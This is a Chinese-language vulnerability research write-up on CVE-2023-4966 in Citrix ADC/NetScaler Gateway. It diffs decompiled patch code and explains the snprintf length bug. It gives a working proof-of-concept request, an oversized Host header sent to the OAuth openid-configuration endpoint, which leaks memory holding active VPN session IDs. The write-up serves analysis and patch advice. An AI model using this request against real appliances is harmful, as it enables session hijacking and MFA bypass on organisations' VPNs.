2023 年 10 月 10 日,Citrix 官方发布了关于影响 Citrix ADC 和 NetScaler Gateway 设备的 CVE-2023-4966 和 CVE-2023-4967 漏洞预警信息,10 月 17 日 Citrix 表示已经监控到 CVE-2023-4966 漏洞的在野利用,本文对此漏洞进行分析。
环境准备
根据披露信息,该漏洞在 13.1-49.15 及以上版本被修复,所以我们选择低一个版本的 13.1-49.13(VPX) 进行分析,点击下载镜像。
将镜像导入虚拟机并启动,在启动过程中系统会自动询问 IP 地址、网关等信息,按需配置之后访问 443 即可看到 web 管理界面,默认账户为 nsroot:nsroot,第一次登录会提示修改密码。CLI 也使用 nsroot 用户登录,登陆后执行 shell 命令即可进入 Linux root shell。
由于漏洞位于 Gateway 服务中,还需要继续部署 Gateway 组件。Citrix ADC 设备只有导入了合适的授权才能使用此功能,授权可以去官网申请开发者版本,或者自行寻找途径购买。
在初始画面显示 4 个选项,要求我们配置 subnet IP、主机名称、时区等,按照提示配置并导入授权文件,重启设备再登录到后台,即可看到 Gateway 功能模块。点击其中的 Citrix Gateway Wizard 按照提示逐步配置,要注意的是 Citrix Gateway IP Address 需要和 web 管理界面在相同网段内。
以上步骤配置完毕,在 Citrix Gateway -> User Administration -> AAA Users 中添加一个用户,取消勾选 External Authentication 创建一个本地账户,填写密码后再点击右侧的 Intranet IP Addresses 给用户添加 VPN IP 资源。

这样 Gateway 服务就配置好了,访问 IP 可以看到登录界面。
漏洞分析
CVE-2023-4966 官方描述为 “敏感信息泄露”,并且分类为 CWE-119 即缓冲区越界问题。
根据 Citrix 历史漏洞的相关复现文章,Gateway 功能主要由 nsppe 程序实现,我们获取新旧两个版本的镜像进行补丁对比。

nsppe 程序默认包含符号信息,并且新版本没有很大的变动,可以很快找到存在差异的几个函数,大部分为对 oauth 逻辑的 patch,其中包括数个对 memcpy 数据长度的限制,猜测这些可能是 oauth 功能中缓冲区溢出或者拒绝服务等问题。由于披露信息中未提及 oauth 相关限制,我们认为漏洞和这些更改无关。
分析补丁最终定位到两个关键函数:ns_aaa_oauthrp_send_openid_config 和 ns_aaa_oauth_send_openid_config,新旧版本代码列举如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| __int64 __fastcall ns_aaa_oauthrp_send_openid_config(__int64 a1, __int64 a2) { __int64 v2; _BYTE *v3; int v4; int v5; bool v6; unsigned __int8 v7; int v8; const char *v9; unsigned int v10; bool v11; __int64 result;
v2 = *(a2 + 532); v3 = (v2 + *(a2 + 540) - 2); v4 = v3 + 1; if ( *v3 == '\r' ) v4 = v3; v5 = v4 - v2; if ( ((v5 != 0) & (0x100000200uLL >> *v2) & (*v2 < 0x40u)) != 0 ) { do { v6 = v5 != 1; v7 = *(v2 + 1); v8 = v5 - 1; ++v2; --v5; } while ( (v6 & (0x100000200uLL >> v7) & (v7 < 0x40u)) != 0 ); } else { v8 = v5; } v9 = "https://"; if ( (*(a1 + 88) & 0x100) == 0 ) v9 = "http://"; v10 = snprintf( print_temp_rule, 0x20000LL, "{\"login_endpoint\": \"%s%.*s/oauth/login\", \"jwks_uri\": \"%s%.*s/oauth/rp/certs\", \"response_types_support" "ed\": [\"code\", \"token\", \"id_token\"], \"id_token_signing_alg_values_supported\": [\"RS256\"], \"end_sessi" "on_endpoint\": \"%s%.*s/cgi/tmlogout\", \"frontchannel_logout_supported\": false}", v9, v8, v2, v9, v8, v2, v9, v8, v2); authv2_json_resp = 1; v11 = ns_vpn_send_response(a1, 1048640LL, print_temp_rule, v10) == 0; authv2_json_resp = 0; result = 1LL; if ( v11 ) return 32LL; return result; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| __int64 __fastcall ns_aaa_oauthrp_send_openid_config(__int64 a1, __int64 a2) { _BYTE *v2; _BYTE *v3; int v4; unsigned int v5; bool v6; unsigned __int8 v7; __int64 v8; const char *v9; unsigned int v10; unsigned int v11; int v12;
v2 = *(a2 + 532); v3 = &v2[*(a2 + 540) - 2]; v4 = v3 + 1; if ( *v3 == 13 ) v4 = v3; v5 = v4 - v2; if ( ((v5 != 0) & (0x100000200uLL >> *v2) & (*v2 < 0x40u)) != 0 ) { do { v6 = v5 != 1; v7 = v2[1]; v8 = v5 - 1; ++v2; --v5; } while ( (v6 & (0x100000200uLL >> v7) & (v7 < 0x40u)) != 0 ); } else { v8 = v5; } v9 = "https://"; if ( (*(a1 + 88) & 0x100) == 0 ) v9 = "http://"; v10 = snprintf( print_temp_rule, 0x20000, "{\"login_endpoint\": \"%s%.*s/oauth/login\", \"jwks_uri\": \"%s%.*s/oauth/rp/certs\", \"response_types_support" "ed\": [\"code\", \"token\", \"id_token\"], \"id_token_signing_alg_values_supported\": [\"RS256\"], \"end_sessi" "on_endpoint\": \"%s%.*s/cgi/tmlogout\", \"frontchannel_logout_supported\": false}", v9, v8, v2, v9, v8, v2, v9, v8, v2); v11 = 32; if ( v10 <= 0x1FFFF ) { authv2_json_resp = 1; v12 = ns_vpn_send_response(a1, 1048640LL, print_temp_rule, v10); authv2_json_resp = 0; v11 = 1; if ( !v12 ) return 32; } return v11; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| __int64 __fastcall ns_aaa_oauth_send_openid_config(__int64 a1, __int64 a2) { __int64 v2; _BYTE *v3; int v4; int v5; _BOOL4 v7; unsigned __int8 v8; _BOOL4 v9; unsigned __int64 v10; int v11; unsigned int v12; bool v13; __int64 result;
v2 = *(a2 + 532); v3 = (v2 + *(a2 + 540) - 2); v4 = v3 + 1; if ( *v3 == 13 ) v4 = v3; v5 = v4 - v2; if ( ((v5 != 0) & (0x100000200uLL >> *v2) & (*v2 < 0x40u)) != 0 ) { do { v7 = v5 != 1; v8 = *(v2 + 1); v9 = v8 < 0x40u; v10 = 0x100000200uLL >> v8; v11 = v5 - 1; ++v2; --v5; } while ( (v7 & v10 & v9) != 0 ); } else { v11 = v5; } v12 = snprintf( print_temp_rule, 0x20000LL, "{\"issuer\": \"https://%.*s\", \"authorization_endpoint\": \"https://%.*s/oauth/idp/login\", \"token_endpoint\"" ": \"https://%.*s/oauth/idp/token\", \"jwks_uri\": \"https://%.*s/oauth/idp/certs\", \"response_types_supported" "\": [\"code\", \"token\", \"id_token\"], \"id_token_signing_alg_values_supported\": [\"RS256\"], \"end_session" "_endpoint\": \"https://%.*s/oauth/idp/logout\", \"frontchannel_logout_supported\": true, \"scopes_supported\":" " [\"openid\", \"ctxs_cc\"], \"claims_supported\": [\"sub\", \"iss\", \"aud\", \"exp\", \"iat\", \"auth_time\"," " \"acr\", \"amr\", \"email\", \"given_name\", \"family_name\", \"nickname\"], \"userinfo_endpoint\": \"https:/" "/%.*s/oauth/idp/userinfo\", \"subject_types_supported\": [\"public\"]}", v11, v2, v11, v2, v11, v2, v11, v2, v11, v2, v11, v2); authv2_json_resp = 1; v13 = ns_vpn_send_response(a1, 0x100040LL, print_temp_rule, v12) == 0; authv2_json_resp = 0; result = 1LL; if ( v13 ) return 32LL; return result; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| __int64 __fastcall ns_aaa_oauth_send_openid_config(__int64 a1, __int64 a2) { _BYTE *v2; _BYTE *v3; int v4; unsigned int v5; _BOOL4 v7; unsigned __int8 v8; _BOOL4 v9; unsigned __int64 v10; __int64 v11; unsigned int v12; unsigned int v13; int v14;
v2 = *(a2 + 532); v3 = &v2[*(a2 + 540) - 2]; v4 = v3 + 1; if ( *v3 == 13 ) v4 = v3; v5 = v4 - v2; if ( ((v5 != 0) & (0x100000200uLL >> *v2) & (*v2 < 0x40u)) != 0 ) { do { v7 = v5 != 1; v8 = v2[1]; v9 = v8 < 0x40u; v10 = 0x100000200uLL >> v8; v11 = v5 - 1; ++v2; --v5; } while ( (v7 & v10 & v9) != 0 ); } else { v11 = v5; } v12 = snprintf( print_temp_rule, 0x20000, "{\"issuer\": \"https://%.*s\", \"authorization_endpoint\": \"https://%.*s/oauth/idp/login\", \"token_endpoint\"" ": \"https://%.*s/oauth/idp/token\", \"jwks_uri\": \"https://%.*s/oauth/idp/certs\", \"response_types_supported" "\": [\"code\", \"token\", \"id_token\"], \"id_token_signing_alg_values_supported\": [\"RS256\"], \"end_session" "_endpoint\": \"https://%.*s/oauth/idp/logout\", \"frontchannel_logout_supported\": true, \"scopes_supported\":" " [\"openid\", \"ctxs_cc\"], \"claims_supported\": [\"sub\", \"iss\", \"aud\", \"exp\", \"iat\", \"auth_time\"," " \"acr\", \"amr\", \"email\", \"given_name\", \"family_name\", \"nickname\"], \"userinfo_endpoint\": \"https:/" "/%.*s/oauth/idp/userinfo\", \"subject_types_supported\": [\"public\"]}", v11, v2, v11, v2, v11, v2, v11, v2, v11, v2, v11, v2); v13 = 32; if ( v12 <= 0x1FFFF ) { authv2_json_resp = 1; v14 = ns_vpn_send_response(a1, 1048640LL, print_temp_rule, v12); authv2_json_resp = 0; v13 = 1; if ( !v14 ) return 32; } return v13; }
|
通过对比可以清晰的看到,新版本对 snprintf 返回值进行了长度检查,不允许超过 0x1FFFF,而逆向发现 print_temp_rule 缓冲区的大小刚好是 0x20000。
分析代码定义,这两个函数分别是 /oauth/rp/.well-known/openid-configuration
和 /oauth/idp/.well-known/openid-configuration
的 handler,发包测试这两个 URL,返回信息如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| // 发送的数据 GET /oauth/rp/.well-known/openid-configuration HTTP/1.1 Host: 127.0.0.1
// 返回的数据 HTTP/1.1 200 OK X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Length: 308 Cache-control: no-cache, no-store, must-revalidate Pragma: no-cache Content-Type: application/json; charset=utf-8 X-Citrix-Application: Receiver for Web
{"login_endpoint": "https://127.0.0.1/oauth/login", "jwks_uri": "https://127.0.0.1/oauth/rp/certs", "response_types_supported": ["code", "token", "id_token"], "id_token_signing_alg_values_supported": ["RS256"], "end_session_endpoint": "https://127.0.0.1/cgi/tmlogout", "frontchannel_logout_supported": false}
// 发送的数据 GET /oauth/idp/.well-known/openid-configuration HTTP/1.1 Host: 127.0.0.1
// 返回的数据 HTTP/1.1 200 OK X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Length: 687 Cache-control: no-cache, no-store, must-revalidate Pragma: no-cache Content-Type: application/json; charset=utf-8 X-Citrix-Application: Receiver for Web
{"issuer": "https://127.0.0.1", "authorization_endpoint": "https://127.0.0.1/oauth/idp/login", "token_endpoint": "https://127.0.0.1/oauth/idp/token", "jwks_uri": "https://127.0.0.1/oauth/idp/certs", "response_types_supported": ["code", "token", "id_token"], "id_token_signing_alg_values_supported": ["RS256"], "end_session_endpoint": "https://127.0.0.1/oauth/idp/logout", "frontchannel_logout_supported": true, "scopes_supported": ["openid", "ctxs_cc"], "claims_supported": ["sub", "iss", "aud", "exp", "iat", "auth_time", "acr", "amr", "email", "given_name", "family_name", "nickname"], "userinfo_endpoint": "https://127.0.0.1/oauth/idp/userinfo", "subject_types_supported": ["public"]}
|
可以看到代码把请求中的 Host 请求头使用 snprintf 拼接到 json 字符串中,然后返回给用户。这里涉及一个 C 语言常见的问题,根据手册,snprintf 函数的返回值是待拷贝源数据的长度,而不是实际拷贝的数据长度。因此,假设用户传递的 Host 请求头长度超过了 0x20000,在进行数据拼接时 snprintf 函数会返回超过 0x20000 的值,后续代码调用 ns_vpn_send_response 函数输出数据时使用的数据长度超出了缓冲区 print_temp_rule 的大小,可能导致越界读取造成内存信息泄露。
理论如此,但实际测试会发现,Host 请求头最长只能达到 0x60ec,对于 ns_aaa_oauthrp_send_openid_config
函数来说,Host 请求头会被复制 3 次,最大长度只能达到 0x12500,小于 print_temp_rule 缓冲区的大小,所以第一个函数可能是无法利用的。
但对于第二个函数,观察发现 Host 请求头被拷贝了 6 次,那么拷贝时源数据最大长度可以达到 0x24500,显然超过了 print_temp_rule 缓冲区的大小,可能导致内存泄露。
漏洞利用
我们已经定位到代码问题,接下来构造 PoC 进行测试,构造如下请求
1 2 3 4
| GET /oauth/idp/.well-known/openid-configuration HTTP/1.1 Host: <"a" * 0x6000>
|
将请求发送到服务器,检查响应时发现从 0x20110 字节开始输出了内存数据

这说明我们的分析是正确的,这个接口确实存在内存信息泄露的问题。
但是进一步检查输出的数据,并没有发现存在用户密码或类似的敏感信息,参考 Mandiant 的文档提到,在野攻击者利用这个漏洞实现 session 劫持,是否需要有活跃的 VPN 用户才能利用此漏洞呢?
打开 Gateway 登录界面,登录之前配置的用户,登录后进入如下页面

打开开发者工具(或者抓包),可以看到此时请求中已经具有了 session 信息

再发送我们构造的 payload,检查内存看到了相同的 session ID

这样我们就成功利用信息泄露漏洞获取了活跃用户的 session,理论上利用此 session 即可登录 VPN 服务,不过 Citrix Gateway 的后续配置比较复杂,感兴趣的朋友可以自行分析。
总结
CVE-2023-4966 的利用前提是需要有活跃的 VPN 用户,攻击者获取该用户的 session 后可以绕过多重身份验证登录到 VPN 服务中,从而访问更多敏感资源。由于一般情况下 VPN 用户数量众多,利用该漏洞能否获取以及获取的 session 是否有效要视具体环境而定,因此该漏洞在实际场景下可能存在一定的运气成分。
不过鉴于已经检测到该漏洞的在野利用情况,建议 Citrix ADC 和 NetScaler Gateway 用户尽快更新官方补丁,并执行官方提供的修复措施。
参考文章
https://attackerkb.com/topics/si09VNJhHh/cve-2023-3519/rapid7-analysis
https://support.citrix.com/article/CTX579459
https://www.mandiant.com/resources/blog/remediation-netscaler-adc-gateway-cve-2023-4966